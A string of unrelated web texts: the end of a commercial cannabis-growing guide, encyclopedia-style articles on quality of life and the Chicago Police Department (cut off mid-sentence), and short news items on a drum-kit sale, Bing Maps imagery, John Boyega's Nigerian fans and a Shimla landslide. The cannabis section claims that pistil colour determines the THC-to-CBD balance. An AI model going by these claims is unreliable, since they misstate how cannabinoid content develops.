Growweedeasy.com  During the vegetation phase, the stem will grow thicker and taller and will begin to develop new nodes. These nodes will produce yet more leaves and even new branches.  Because it’s growing and producing leaves and branches, your plant will need plenty of fresh warm water along with:  Flowing, dry air  Lots of nitrogen-rich organic nutrients (e.g., liquid fish or seaweed)  As much soil space as possible  All of this together allows your marijuana plant to grow from an eight-inch baby plant into a two- to three-foot tall tree within the span of three to six weeks.  The plant’s growth largely depends on the rate at which its leaves can gather sunlight and transform it into chemical energy (photosynthesis). This fact explains why the vegetative plant will need long hours of summer sunlight (12 to 15 or more in the wild) or 18 hours of fluorescent light per day.  Source: Howtogrowmarijuana.com  The THC tree will halt its upward growth once it starts receiving less natural outdoor daylight or when the indoor grower reduces the plant from 18 to 12 hours of fluorescent light per day. It’s at this point that the plant enters the pre-flowering phase.  Stage #5: Pre-Flowering  It can take anywhere from one to five months for the growing marijuana plant to enter the pre-flowering stage. When it finally does, you’ll be able to verify that you did indeed plant all females.  Source: Cannabisgrowersworldwide.blogspot.com  If the plant is a male, you’ll see little green banana-like sack structures on the node regions of the plant where the leaves meet the main stem. These sack structures hold pollen and will only appear on male plants. You can see the difference between the male and the female plant in the picture above.  Male plants must be separated from female plants before the little green sacs burst open and release their pollen. If you don’t find the male plants in time, and the sacs do burst, the pollen can fertilize the cola of the nearby female plants. This pollination ruins the psychoactive potential of the trichomes the female plant may grow.  Source: Growweedeasy.com  When you keep your female marijuana plant from being pollinated by a male plant, you produce what is called a sinsemilla. Sinsemilla (Spanish for ‘without seed’) refers to a female marijuana plant that does not have any seeds because it has not been fertilized by pollen.  Sinsemilla plants produce large amounts of resin as well as fake seedpods, both of which contain high percentages of THC. And really, that’s the goal of every grower, isn’t it?  You can identify sinsemilla plants by the white hairs that emerge from the pear-shaped bracts at their plant nodes. Keep in mind that sometimes, a plant can be hermaphroditic. This means that it has both sets of reproductive organs (glands and leaves).  Source: 420magazine.com  Hermaphroditic cannabis plants can actually pollinate themselves and ruin your THC or CBD harvest. For this reason, it’s important to remain vigilant and to separate and destroy any hermaphroditic plants with female glands and male leaves that carry the potential to pollinate and ruin your psychoactive sinsemilla.  Once the light duration begins to decrease (whether naturally or artificially), the cannabis plant moves into the flowering stage. That’s where we’ll go next.  Stage #6: Flowering  Source: Growweedeasy.com  Your plant will continue to grow into sticks and leaves without producing any of the flower’s medicinal qualities unless its light exposure is gradually reduced. This may mean less time spent in the daylight or by artificially decreasing indoor fluorescent light time from 18 to 12 hours.  During the flowering stage, your pot plant will also require potassium and phosphorus-based nutrients, such as bat guano, in order to set flowers properly. When it does, though, you’ll begin to see and smell dank trichome-saturated cola buds growing from your plant.  These buds will also produce long, thin, milky-white hairs, or pistils, that will begin to emerge over the next eight to 10 weeks. All of this flowering activity is triggered by a simple reduction in light. Amazing!  Source: Bigbudsmag.com  Stage #7: Harvesting  Source: Pinterest.com  You’ll know your cannabis plant is ripe for harvest when the hues of the pistils on the cola buds transform from milky white to reddish orange. You’ll also want to use a microscope to check the color of the heads of the trichomes oozing out from the ripe cola buds.  You’ll know that your buds are ready for harvest when the trichome heads turn from clear to milky and opaque to amber. The presence of more amber trichome heads will likely indicate a higher CBD to THC cannabinoid profile ratio in its trichome resin.  Source: Buymarijuanaseeds.com  If you want to harvest your marijuana plant for its full THC or CBD effects, you DON’T want the trichomes to fall off. If that happens, that means that you let the plant grow too long. The majority of the cannabinoids are now gone, you won’t enjoy the psychoactive or medicinal effects, and you’ll have to start growing a new batch of marijuana.  Instead, many growers suggest harvesting the crop when half the trichomes on the plant are opaque. In theory, this produces the highest level of THC with the lowest level of CBD (which counteracts the euphoric effects of the former).  The little hairs that grow from inside the calyxes or the pistils are another clue that helps you determine when to harvest your cannabis for the specific kind of chemical properties you want it to contain. The color of the pistils changes from bright white to rusty orange or brown at the end of the plant’s flowering phase.  On one end of the spectrum, if you notice a higher ratio of white to red pistols, that means your pot will produce more of a euphoric THC high. On the other end of the spectrum, if you notice a higher ratio of red to white pistols, that means your pot will produce more of a sober, calm CBD stoned feeling.  Squarely in between those two extremes, cannabis crops harvested in the middle of the flowering cycle, when roughly half the trichome heads are opaque and the pistils aren’t yet brown, should produce a more balanced THC-to-CBD blend of cannabinoids.  When you’ve determined that it is indeed time to harvest your bud, you’ll need a good pair of scissors or a sharp pruning tool to cut the trunk from the roots so it can be dried.  Source: a1b2c3.com  Make the cut as close to the base of the plant as possible. Then proceed to cut the tree into smaller branches. Doing so will make it easier to dry the plant.  Source: Thcfinder.com  Once you’ve cut your plant into small sections, string up the pieces and hang them upside down from lines of twine in a dark, cool room with a humidity level of 40 to 50 percent. The plant matter should remain hanging in this way and in these conditions for four to six days.  While you’re cutting your pot plant into sections for drying, trim the leaves and stems and set them aside. This material can be trimmed away, saved, and eventually processed to make cannabutter and cannabis concentrate after your buds have dried.  Source: Growweedeasy.com  Once your buds are done drying, place them in a wide-mouthed glass mason jar with a screw-top lid. Fill the jars to just below the top but don’t pack the buds in. Doing so will decrease airflow and cause problems later on. Store the mason jars in a closet or cabinet where the temperature stays between 50 and 60 degrees Fahrenheit.  Your jars should remain here for one to three weeks in order to cure the buds and finish the harvesting process. That said, once a day you need to crack open the jars. This allows fresh air to get in and any gases produced by the curing process to get out.  Breeding And Cloning To Continue The Cannabis Life-Cycle  Source: 420magazine.com  As we touched on above, new, viable pot seeds (able to be planted and produce a new plant) will grow in the colas of the female plants in the two to 16 weeks after they have been pollinated from by a nearby male plant. The pistils on the seedpods may change colors before the pods burst and the new seeds are scattered to the soil below. But this isn’t the only way to get ahold of pot seeds in order to continue the strain.  You can avoid having to germinate new unidentified male seeds and continue the cannabis life cycle of your most successful plants through a process known as sensimilla cloning. You can grow new, genetically identical versions of your favorite strains year after year by cutting a branch of four or more inches from your best plant and planting it in rooting solution.  Source: 420magazine.com  Summing Up The Lifecycle Of The Cannabis Plant  Soak your pot seeds in water or a paper towel to sprout the taproot that will fasten into your soil and germinate into seedlings. Keep checking the plant’s nodes during the vegetative phase to ensure that you don’t have any unwanted male plants among your crop.  If you do find male plants, be sure to separate them from the female plants. The cannabis plant will continue to vegetate until it begins to receive less light from natural or artificial sources. This will trigger its flowering phase.  Pay attention to the colors of the thin hairs or pistols and the color of the heads of the trichomes in order to determine the right moment to cut and harvest your plant. Hang the wet weed buds up in a cool, dark, dry space with low humidity for approximately a week.  Before you can enjoy your glorious new buds, you’ll need to cure them in glass mason jars for 1 to 3 weeks while ensuring to open them once per day.  If you’re interested in growing a future set of buds, you can continue the marijuana growth cycle by allowing a male plant to pollinate a female into growing seeds with which you can experiment with, or you can cut a branch from your favorite plant and place it in rooting solution to clone it season after season!  That’s Biology. What About Technology?  In this article, we’ve focused on the biology of the growing marijuana plant from seed to harvest. But there’s more involved in producing your own cannabis crop than just knowing how to identify the various stages of plant growth.  A successful grow also requires a bit of technology…even if you’re growing your weed outside. To get the inside scoop on that side of the undertaking, check out How To Grow Weed: The Organic Way. Then get started growing!  And for more information on all things cannabis and to check out our 100-percent all-natural marijuana products, visit HonestMarijuana.com today.
-Quality of life (QOL) is an overarching term for the quality of the various domains in life. It is a standard level that consists of the expectations of an individual or society for a good life. These expectations are guided by the values, goals and socio-cultural context in which an individual lives. It is a subjective, multidimensional concept that defines a standard level for emotional, physical, material and social well-being. It serves as a reference against which an individual or society can measure the different domains of one’s own life. The extent to which one's own life coincides with this desired standard level, put differently, the degree to which these domains give satisfaction and as such contribute to one's subjective well-being, is called life satisfaction.  Overview [ edit ]  Quality of life is the general well-being of individuals and societies, outlining negative and positive features of life. It observes life satisfaction, including everything from physical health, family, education, employment, wealth, safety, security to freedom, religious beliefs, and the environment.[1] QOL has a wide range of contexts, including the fields of international development, healthcare, politics and employment. It is important not to mix up the concept of QOL with a more recent growing area of health related QOL (HRQOL[2]). An assessment of HRQOL is effectively an evaluation of QOL and its relationship with health.  Quality of life should not be confused with the concept of standard of living, which is based primarily on income.  Standard indicators of the quality of life include not only wealth and employment but also the built environment, physical and mental health, education, recreation and leisure time, and social belonging.[3][4] According to the World Health Organization (WHO), quality of life is defined as “the individual’s perception of their position in life in the context of the culture and value systems in which they live and in relation to their goals.” In comparison to WHO's definitions, the Wong-Baker Faces Pain Rating Scale defines quality of life as “life quality (in this case, physical pain) at a precise moment in time.”[5]  According to ecological economist Robert Costanza:  While Quality of Life (QOL) has long been an explicit or implicit policy goal, adequate definition and measurement have been elusive. Diverse "objective" and "subjective" indicators across a range of disciplines and scales, and recent work on subjective well-being (SWB) surveys and the psychology of happiness have spurred renewed interest.[6]  One approach, called engaged theory, outlined in the journal of Applied Research in the Quality of Life, posits four domains in assessing quality of life: ecology, economics, politics and culture.[7] In the domain of culture, for example, it includes the following subdomains of quality of life:  Belief and ideas  Creativity and recreation  Enquiry and learning  Gender and generations  Identity and engagement  Memory and projection  Well-being and health  Also frequently related are concepts such as freedom, human rights, and happiness. However, since happiness is subjective and difficult to measure, other measures are generally given priority. It has also been shown that happiness, as much as it can be measured, does not necessarily increase correspondingly with the comfort that results from increasing income. As a result, standard of living should not be taken to be a measure of happiness.[3][8] Also sometimes considered related is the concept of human security, though the latter may be considered at a more basic level and for all people.  Quantitative measurement [ edit ]  Unlike per capita GDP or standard of living, both of which can be measured in financial terms, it is harder to make objective or long-term measurements of the quality of life experienced by nations or other groups of people. Researchers have begun in recent times to distinguish two aspects of personal well-being: Emotional well-being, in which respondents are asked about the quality of their everyday emotional experiences—the frequency and intensity of their experiences of, for example, joy, stress, sadness, anger, and affection— and life evaluation, in which respondents are asked to think about their life in general and evaluate it against a scale.[9] Such and other systems and scales of measurement have been in use for some time. Research has attempted to examine the relationship between quality of life and productivity.[10] There are many different methods of measuring quality of life in terms of health care, wealth and materialistic goods. However, it is much more difficult to measure meaningful expression of one's desires. One way to do so is to evaluate the scope of how individuals have fulfilled their own ideals. Quality of life can simply mean happiness, the subjective state of mind. By using that mentality, citizens of a developing country appreciate more since they are content with the basic necessities of health care, education and child protection.[11]  Human Development Index [ edit ]  Perhaps the most commonly used international measure of development is the Human Development Index (HDI), which combines measures of life expectancy, education, and standard of living, in an attempt to quantify the options available to individuals within a given society. The HDI is used by the United Nations Development Programme in their Human Development Report.  World Happiness Report [ edit ]  The World Happiness Report is a landmark survey on the state of global happiness. It ranks 156 countries by their happiness levels, reflecting growing global interest in using happiness and substantial well-being as an indicator of the quality of human development. Its growing purpose has allowed governments, communities and organizations to use appropriate data to record happiness in order to enable policies to provide better lives. The reports review the state of happiness in the world today and show how the science of happiness explains personal and national variations in happiness.[12] Also developed by the United Nations and published recently along with the HDI, this report combines both objective and subjective measures to rank countries by happiness, which is deemed as the ultimate outcome of a high quality of life. It uses surveys from Gallup, real GDP per capita, healthy life expectancy, having someone to count on, perceived freedom to make life choices, freedom from corruption, and generosity to derive the final score. Happiness is already recognised as an important concept in global public policy. The World Happiness Report indicates that some regions have in recent years been experiencing progressive inequality of happiness. Without life, there is no happiness to be realised.[13]  Other measures [ edit ]  The Physical Quality of Life Index (PQLI) is a measure developed by sociologist Morris David Morris in the 1970s, based on basic literacy, infant mortality, and life expectancy. Although not as complex as other measures, and now essentially replaced by the Human Development Index, the PQLI is notable for Morris's attempt to show a "less fatalistic pessimistic picture" by focusing on three areas where global quality of life was generally improving at the time and ignoring gross national product and other possible indicators that were not improving.[14]  The Happy Planet Index, introduced in 2006, is unique among quality of life measures in that, in addition to standard determinants of well-being, it uses each country's ecological footprint as an indicator. As a result, European and North American nations do not dominate this measure. The 2012 list is instead topped by Costa Rica, Vietnam and Colombia.[15]  Gallup researchers trying to find the world's happiest countries found Denmark to be at the top of the list.[16] uSwitch publishes an annual quality of life index for European countries. France has topped the list for the last three years.[17]  A 2010 study by two Princeton University professors looked at 1,000 randomly selected U.S. residents over an extended period. It concludes that their life evaluations – that is, their considered evaluations of their life against a stated scale of one to ten – rise steadily with income. On the other hand, their reported quality of emotional daily experiences (their reported experiences of joy, affection, stress, sadness, or anger) levels off after a certain income level (approximately $75,000 per year); income above $75,000 does not lead to more experiences of happiness nor to further relief of unhappiness or stress. Below this income level, respondents reported decreasing happiness and increasing sadness and stress, implying the pain of life's misfortunes, including disease, divorce, and being alone, is exacerbated by poverty.[18]  Gross national happiness and other subjective measures of happiness are being used by the governments of Bhutan and the United Kingdom.[19] The World Happiness report, issued by Columbia University[20] is a meta-analysis of happiness globally and provides an overview of countries and grassroots activists using GNH. The OECD issued a guide for the use of subjective well-being metrics in 2013.[21] In the U.S., cities and communities are using a GNH metric at a grassroots level.[22]  The Social Progress Index measures the extent to which countries provide for the social and environmental needs of their citizens. Fifty-two indicators in the areas of basic human needs, foundations of wellbeing, and opportunity show the relative performance of nations. The index uses outcome measures when there is sufficient data available or the closest possible proxies.  Day-Reconstruction Method was another way of measuring happiness, in which researchers asked their subjects to recall various things they did on the previous day and describe their mood during each activity. Being simple and approachable, this method required memory and the experiments have confirmed that the answers that people give are similar to those who repeatedly recalled each subject. The method eventually declined as it called for more effort and thoughtful responses, which often included interpretations and outcomes that do not occur to people who are asked to record every action in their daily lives.[23]  Livability [ edit ]  The term quality of life is also used by politicians and economists to measure the livability of a given city or nation. Two widely known measures of livability are the Economist Intelligence Unit's Where-to-be-born Index and Mercer's Quality of Living Reports. These two measures calculate the livability of countries and cities around the world, respectively, through a combination of subjective life-satisfaction surveys and objective determinants of quality of life such as divorce rates, safety, and infrastructure. Such measures relate more broadly to the population of a city, state, or country, not to individual quality of life. Livability has a long history and tradition in urban design, and neighborhoods design standards such as LEED-ND are often used in an attempt to influence livability.[24]  Crimes [ edit ]  Some crimes against property (e.g., graffiti and vandalism) and some "victimless crimes" have been referred to as "quality-of-life crimes." American sociologist James Q. Wilson encapsulated this argument as the broken windows theory, which asserts that relatively minor problems left unattended (such as litter, graffiti, or public urination by homeless individuals) send a subliminal message that disorder in general is being tolerated, and as a result, more serious crimes will end up being committed (the analogy being that a broken window left broken shows an image of general dilapidation).  Wilson's theories have been used to justify the implementation of zero tolerance policies by many prominent American mayors, most notably Oscar Goodman in Las Vegas, Richard Riordan in Los Angeles, Rudolph Giuliani in New York City and Gavin Newsom in San Francisco. Such policies refuse to tolerate even minor crimes; proponents argue that this will improve the quality of life of local residents. However, critics of zero tolerance policies believe that such policies neglect investigation on a case-by-case basis and may lead to unreasonably harsh penalties for crimes.  Popsicle index [ edit ]  The popsicle index is a quality-of-life measurement coined by Catherine Austin Fitts as the percentage of people in a community who believe that a child in their community can leave their home alone, go to the nearest possible location to buy a popsicle or other snack, and return home safely.[25][26][27]  In healthcare [ edit ]  Within the field of healthcare, quality of life is often regarded in terms of how a certain ailment affects a patient on an individual level. This may be a debilitating weakness that is not life-threatening; life-threatening illness that is not terminal; terminal illness; the predictable, natural decline in the health of an elder; an unforeseen mental/physical decline of a loved one; or chronic, end-stage disease processes. Researchers at the University of Toronto's Quality of Life Research Unit define quality of life as "The degree to which a person enjoys the important possibilities of his or her life" (UofT). Their Quality of Life Model is based on the categories "being", "belonging", and "becoming"; respectively who one is, how one is not connected to one's environment, and whether one achieves one's personal goals, hopes, and aspirations.[28][29]  Experience sampling studies show substantial between-person variability in within-person associations between somatic symptoms and quality of life.[30] Hecht and Shiel measure quality of life as “the patient’s ability to enjoy normal life activities” since life quality is strongly related to wellbeing without suffering from sickness and treatment.[5] There are multiple assessments available that measure Health-Related Quality of Life, e.g., AQoL-8D, EQ5D - Euroqol, 15D, SF-36, SF-6D, HUI.  In international development [ edit ]  Quality of life is an important concept in the field of international development since it allows development to be analyzed on a measure broader than standard of living. Within development theory, however, there are varying ideas concerning what constitutes desirable change for a particular society, and the different ways that quality of life is defined by institutions therefore shapes how these organizations work for its improvement as a whole.  Organisations such as the World Bank, for example, declare a goal of "working for a world free of poverty",[31] with poverty defined as a lack of basic human needs, such as food, water, shelter, freedom, access to education, healthcare, or employment.[32] In other words, poverty is defined as a low quality of life. Using this definition, the World Bank works towards improving quality of life through the stated goal of lowering poverty and helping people afford a better quality of life.  Other organizations, however, may also work towards improved global quality of life using a slightly different definition and substantially different methods. Many NGOs do not focus at all on reducing poverty on a national or international scale, but rather attempt to improve quality of life for individuals or communities. One example would be sponsorship programs that provide material aid for specific individuals. Although many organizations of this type may still talk about fighting poverty, the methods are significantly different.  Improving quality of life involves action not only by NGOs but also by governments. Global health has the potential to achieve greater political presence if governments were to incorporate aspects of human security into foreign policy. Stressing individuals’ basic rights to health, food, shelter, and freedom addresses prominent inter-sectoral problems negatively impacting today's society and may lead to greater action and resources. Integration of global health concerns into foreign policy may be hampered by approaches that are shaped by the overarching roles of defense and diplomacy.[33]  See also [ edit ]  Indices [ edit ]  Journals [ edit ]  References [ edit ]  Further reading [ edit ]
-Guided By Voices have famously made a career of achieving classic-rock glory on a beer-guzzling, home-recording Midwestern indie band’s budget. Their drummer, Kevin Fennell, must be hoping for a diehard GBV fan out there with a somewhat fatter wallet. As The Hollywood Reporter notes, Fennell has put up his drum kit on eBay. Starting bid: $55,000.  The drums have some priceless history associated with them, as they appeared on such landmark GBV albums as Bee Thousand and Alien Lanes, as well as more recent LPs English Little League, The Bears for Lunch, and the Essential Let’s Go Eat the Factory. The set of two toms, a bass drum, multiple cymbals, and a foot pedal also served on three U.S. and three European tours, plus gigs at Central Park SummerStage and The Daily Show. Fenning will deliver the kit himself anywhere in the continental United States. The listing adds, “And if you’re nice he might just jam with you.”  There are no bids yet at the time of this post, but it could be everyone is waiting to rush in their bids right before the offer closes on October 24. Calling all lo-fi high rollers….
-If you thought the 215TB of satellite imagery Bing Maps added last year was hefty, think again. In what is the largest installment of Bird's Eye shots yet, the mapping folks in Redmond piled on a whopping 270TB of high-res flyover images to their database yesterday. Some of the more notable (read: gorgeous) additions include overviews of Rome and Milan in Italy, Stavanger in Norway and Kaanapali in Hawaii. Aside from the new visuals, Bing also added a couple of improvements to its Venue Maps with an expanded points of interest list and a new "Report a problem" system so users can inform Bing if a location is marked incorrectly. So go on, head over to the source, select any of the amazing locales and take a little free trip to the other side of the world.
-John Boyega Is Awakening 'Star Wars' Fans In Nigeria  Enlarge this image toggle caption Charley Gallay/Getty Images for Disney Charley Gallay/Getty Images for Disney  Nigeria is falling in love with Star Wars.  There are two reasons. There's a growing nerd culture in the country — young people who love science fiction and see it as a way to imagine our own futures as something better than our present. We also have an annual Comic Con in Lagos. And last year a friend and I started an online "speculative fiction" magazine, Omenana.com, which has helped promote a new generation of sci-fi writers and artists.  The other reason: John Boyega.  Boyega is the son of Nigerians who settled in Britain. He plays Finn, a disillusioned Stormtrooper in the new movie Star Wars: The Force Awakens. And he's proud of his heritage.  "I'm grounded in who I am and I am a confident black man, a confident, Nigerian, black, chocolate man," he has posted on Instagram.  Nigerians are already familiar with Boyega. He was in the U.K. sci-fi flick Attack the Block and played Ugwu the houseboy in the film adaptation of Chimamanda Adichie's novel Half of a Yellow Sun.  YouTube  But seeing him in Star Wars has been another kind of experience.  Kemi Williams has been a Star Wars fan since she saw the first film when she was 12. Now she's 50 — and gratified that there were more relatable characters in the franchise for her children than there were for her.  "It's significant to me because my son was sitting next to me, and it was a big deal for him to see a character who looks like him," she said. "When I was little I never had that."  Growing up in the '60s and '70s, Williams felt the only place where she found stories she could relate to were in sci-fi shows like Star Trek and Blake's 7. The effect was limited, however, because it was "always white people putting these things out."  Williams was happy that the new Star Wars film has a more diverse cast. She was especially impressed by Boyega's reaction to racist remarks about his casting.  "What's important is that he's out and proud about being a black man," Williams said. "The fact that he's Yoruba has a resonance within Nigeria. He's one of us, and it's something we can relate to."  Williams was one of several moviegoers I interviewed in Abuja, Nigeria's capital.  Boyega's heritage is of less interest to younger Nigerian fans. Chiagoziem Okoronkwo, 30 and a personal trainer, notes that a number of actors of Nigerian heritage, such as Chiwetel Ejiofor, Carmen Ejogo, David Oyelowo and Megalyn Echikunwoke, have risen to prominence in the past few years.  But he's still excited about the character Boyega plays, which doesn't fall into familiar Hollywood stereotypes of black people.  "Most black guys get typecast," he said. "If they're not the supersmart magical negro, they don't get cast. [Boyega's] role was a bit different."  Ultimately, most moviegoers I spoke to agreed that Boyega's turn in the movie was most effective as a way to win new fans to the franchise in Nigeria — even if they didn't realize at first that he was of Nigerian heritage.  "I even thought he was Ghanaian," admits Pelu Awufeso, a 41-year-old travel journalist and blogger. "Boyega is not an original Yoruba name."  Awufeso, who had never been interested in the Star Wars franchise before the premiere of the film, went to see the movie only after previous plans fell through. He was won over by the film — and Boyega's performance.  "I liked the creativity behind it. The sheer creativity in those characters alone deserves kudos," he said. "I was happy that a Nigerian was considered for the role. To see a young Nigerian lead made me feel that, yes, we are doing well."  For an older fan like Kemi Williams, the true benefit of Boyega's casting is that it will bring in a wider audience in Nigeria and show them how science fiction can change the way people think.  "The fact that [Boyega] is a Stormtrooper — who are assumed to be white males underneath their masks — opens up a lot of possibilities," she said. "It opens up people's minds."
-SHIMLA: A massive landslide at Dhalli in Shimla buried half a dozen vehicles under the debris besides damaging a temple and several houses on Saturday afternoon.No loss of life was reported as administration had already stopped the traffic flow on both sides of slide point anticipating the landslide.Shimla has been witnessing heavy rainfall since Friday morning which triggered the landslide at Dhalli.Sources said that around 15-20 minutes before the main slide, boulders had started hurtling down from the hillock. An alert administration stopped vehicular traffic on the road after the state has witnessed several landslides of late.A mound of debris gathered on the road following which traffic was diverted from Shimla and nearby destinations via Sanjauli.A local resident Bhawani Singh said that it was around 2 pm when huge mound from the hillock hit the road and blocked the Malyana-Dhalli road. He said that while some vehicles were swept away, some were buried under the debris that also spilled inside a temple and nearby houses.After receiving the information about the landslide, officials from district administration, police and fire department reached at the spot and started clearing the debris from the road.
-The Chicago Police Department (CPD) is the law enforcement agency of the U.S. city of Chicago, Illinois, under the jurisdiction of the City Council. It is the second largest municipal police department in the United States, behind only the New York City Police Department and larger than the Los Angeles Police Department.[3] It has approximately 13,500 officers and over 1,925 other employees.[4] Tracing its roots back to the year 1835,[5] the Chicago Police Department is one of the oldest modern police forces in the world. The United States Department of Justice has criticized the department for its poor training, lack of oversight and routine use of excessive force.[6]  Structure [ edit ]  Chicago police officer  The Superintendent of Police leads the Chicago Police Department. With the assistance of the First Deputy Superintendent, the Superintendent manages four bureaus, each commanded by a bureau chief.  The mayor appointed former Bureau of Patrol Chief Eddie T. Johnson as Superintendent on March 28, 2016. He was preceded by Garry F. McCarthy, former director of the Newark, New Jersey, Police Department, as superintendent; this was approved by the city council on June 8, 2011.[7] McCarthy was the highest paid city employee with an annual salary of $260,004.[8] McCarthy resigned at the request of Mayor Emanuel on December 1, 2015 over the city's high murder rate and his department's handling of the shooting of Laquan McDonald.  Prior to McCarthy's appointment, Jody P. Weis had served as superintendent of police since February 2008. At the time, Weis was the second Chicago police superintendent hired from outside of the city. He replaced Philip J. Cline, who officially retired on August 3, 2007. Weis' contract expired on March 1, 2011. Mayor Richard M. Daley appointed Cline's predecessor, Terry Hillard, on an interim basis.  The current First Deputy Superintendent is Kevin Navarro,[9] appointed by Mayor Rahm Emanuel.  As of December 2014, the four bureaus of the department are:  Bureau of Patrol (BOP): Bureau Chief Fred Waller  Bureau of Detectives: Bureau Chief Eugene Roy  Bureau of Organized Crime (BOC): Bureau Chief Anthony Riccio  Bureau of Support Services (BSS): Bureau Chief Barbara West The department is currently undergoing a major reorganization which eliminates the Bureau of Organizational Development, and places its duties primarily under the Bureau of Support Services. The Bureau of Internal Affairs is commanded by Chief Eddie L Welch III, and falls under the Office of the Superintendent.  There are 22 police districts, consolidated from 25 in 2012, each led by a commander who oversees his or her district. Commanders report to the three area deputy chiefs, who report to the Bureau of Patrol Chief.  In 1960, the municipal government created a five-member police board charged with nominating a superintendent to be the chief authority over police officers, drafting and adopting rules and regulations governing the police system, submitting budget requests to the city council, and hearing and deciding disciplinary cases involving police officers.[10] Criminologist O.W. Wilson was brought on as Superintendent of Police, and served until 1967 when he retired.[11]  Bureau of Detectives [ edit ]  Investigative functions are under the Bureau of Detectives. The Bureau of Detectives is Headed by the Chief of Detectives. The Detective Division includes the three Area Detective Divisions. The Deputy Chief of the Special Investigations Unit oversees the Central Investigations Division, the Forensic Services Division which includes the Mobile Crime Lab of Forensic Investigators, ET-North and ET-South—which are the two Evidence Technician Units, and the Youth Investigations Division.  The Counterterrorism and Intelligence Division includes the Deployment Operations Center Section, the Intelligence Section, the Airport Law Enforcement Section, the Public Transportation Section, and the Bomb and Arson Section. The Organized Crime Division includes the Narcotics Section, Gang Investigations Section, Gang Enforcement Section, Vice Control Section, and the Asset Forfeiture Unit.  The Chief of Detectives heads the Detective Division; the Chief of Organized Crime heads that division—both reporting to the First Deputy Superintendent. Two Deputy Chiefs assist the Chief of Detectives while one Deputy Chief assists the Chief of OCD.  The city is covered by three Detective Division Areas (North, Central, and South), each led by a Commander.  Bureau of Patrol [ edit ]  The Bureau of Patrol includes the twenty-two districts. Also included in the Bureau of Patrol are the Special Functions Group, the Marine & Helicopter Units, Mounted Units, SWAT, the Traffic Section, and Canine Units.  Following the disbanding of the Special Operations Section in 2007 after much negative publicity and controversies, the Special Functions Group was formed to absorb the specialized units that were not associated with the controversial plain-clothes unit known informally as SOS. A full-time SWAT team, organized in 2005, includes 70 members. The dignitary protection unit, based at O'Hare International Airport, is the only unit that uses two-wheeled motorcycles. The Mounted Unit maintains 32 gelded horses at the South Shore Cultural Center.[12] The marine unit maintains nine boats; these bear an angled rendering of the Chicago City Flag at the bow, patterned after the United States Coast Guard "racing stripe".  Ranks [ edit ]  Title Insignia Notes Superintendent Appointed by the Mayor of Chicago. Highest rank in the Chicago Police Department. First Deputy superintendent Chief Rank since September 8, 2011. Chiefs are typically in charge of a Bureau. Deputy chief Rank since September 8, 2011. Commander Commanders are typically in charge of a district. Captain Captains are typically Executive Officers of Districts. Lieutenant Sergeant Field training officer Field training officers wear one chevron over one rocker, with "FTO" in the center of the insignia, but are not considered ranking officers. Police officer/assigned as: detective/youth officer/gang specialist/police agent/major accident investigator/ Chicago detectives are not considered ranking officers, but rather officers assigned to specialized units, e.g. violent crimes, robbery, gang and narcotics (NAGIS), Internal Affairs Division (IAD), Major Accident Investigation Section (MAIS), etc. (Unless they hold the rank of sergeant or above.) Police officer Police officers are the first ranking officers. They are dispatched radio assignments, conduct patrol, and respond to other emergencies as needed.  Insignia [ edit ]  Chicago's five-pointed star-shaped badge (referred to as a "star" instead of a "badge" in the vernacular of the department) also changes to reflect the different ranks of officers. The stars of most Chicago Police officers (patrol officers through to captain) are of silver-colored metal, with broad points. Command ranks have gold-colored stars with sharp points. A ring surrounding the full-color city seal in the star's center changes color for each rank within these two classifications. Like most American police forces, the officer's rank is written in an arc above the center element.  The Chicago Police Department's shoulder sleeve insignia, worn on the top of the left sleeve, is unusual in two regards.  Its shape is octagonal instead of one of the more typical shapes used by most other American police forces.  The embroidery colors vary depending upon the wearer's rank. In all cases, the patch is a white octagon with a full-color rendering of the city seal, ringed in gold, with "Chicago" written in an arc above the seal, and "Police" written in an arc below the seal. For patrol officers and detectives (detectives are occasionally uniformed for ceremonies and details), the octagon's outer edge is finished in dark blue thread, and the text is embroidered in dark blue thread. For sergeants, lieutenants and captains, the octagon's outer edge is finished in gold-colored thread, and the text is embroidered in dark blue thread. For "command ranks" (commander through superintendent), the octagon's outer edge is finished in gold-colored thread, and the text is embroidered in gold-colored thread.  Service longevity is reflected just above the left cuff on most outer garments. Five years of service are indicated by a horizontal bar, embroidered in gold-colored thread; ten years by two bars; fifteen by three bars; twenty by a five-pointed star, embroidered in gold colored thread; twenty-five by one star and one bar and so-forth.  An embroidered rendering of the flag of Chicago, its borders finished in gold-colored thread, is worn on the right shoulder sleeve.  A two-part nameplate in gold-colored metal is worn above the right pocket. The upper portion bears the officer's name; the lower portion indicates the district or command to which the officer is assigned.  The Chicago Police Department is one of only a handful of police agencies in the United States to use the checkered bands on its headgear, known as the Sillitoe Tartan after its originator, Percy Sillitoe, Chief Constable of Glasgow, Scotland in the 1930s. Where British, Australian and New Zealand Sillitoe tartans feature three rows of smaller squares, Chicago's has two rows of larger squares. The checkerboard colors for patrol officers, detectives, dogs and horses are blue and white; the colors for sergeants and higher ranks are blue and gold. Service caps, the campaign hats of the mounted unit, bicycle helmets, knit caps, dog collars, and horse browbands all bear the Sillitoe tartan; the edge of the ball caps' bills show a narrow, flattened Silitoe tartan. The department also uses the pattern on some signage, graphics, and architectural detail on newer police stations.  Salary [ edit ]  Starting salary for Chicago police officers in 2016 is $48,078 increased to $72,510 after 18 months. Promotions to specialized or command positions also increases an officer's base pay. Salaries were supplemented with a $2,920 annual duty availability and an $1,800 annual uniform allowance.[13]  Demographics [ edit ]  In 2010, the composition of the department's total personnel was:  Chicago Alternative Policing Strategy (C.A.P.S.) [ edit ]  The Chicago Police Department is often credited for advancing community policing through the Chicago Alternative Policing Strategy program. It was established in 1992 and implemented in 1993 by then-Chicago Police Superintendent Matt L. Rodriguez. CAPS is an ongoing effort to bring communities, police, and other city agencies together to prevent crimes rather than react to crimes after they happen. The program entails increasing police presence in individual communities with a force of neighborhood-based beat officers. Beat Community Meetings are held regularly for community members and police officials to discuss potential problems and strategies.  Under CAPS, 9-10 beat officers[15] are assigned to each of Chicago's 279 police beats. The officers patrol the same beat for over a year, allowing them to get to know community members, residents, and business owners and to become familiar with community attitudes and trends. The system also allows for those same community members to get to know their respective officers and learn to be comfortable in approaching them for help when needed. Beat officers are fully equipped and patrol their neighborhoods in a variety of methods: by bike, by car, or by foot.  Strategic Subject List (SSL) [ edit ]  Strategic Subject List (SSL) is an implementation of a computer algorithm developed by the Illinois Institute of Technology. SSL calculates the propensity of individuals committing or being targeted by gun violence. The fourth iteration now in use, has become a helpful indicator of murders, according to Eddie Johnson, Superintendent of Police.[16]  The system looks at an individual's past criminal activities and specifically excludes biasing variables like race, gender, ethnicity and location according to Illinois Institute of Technology professor Miles 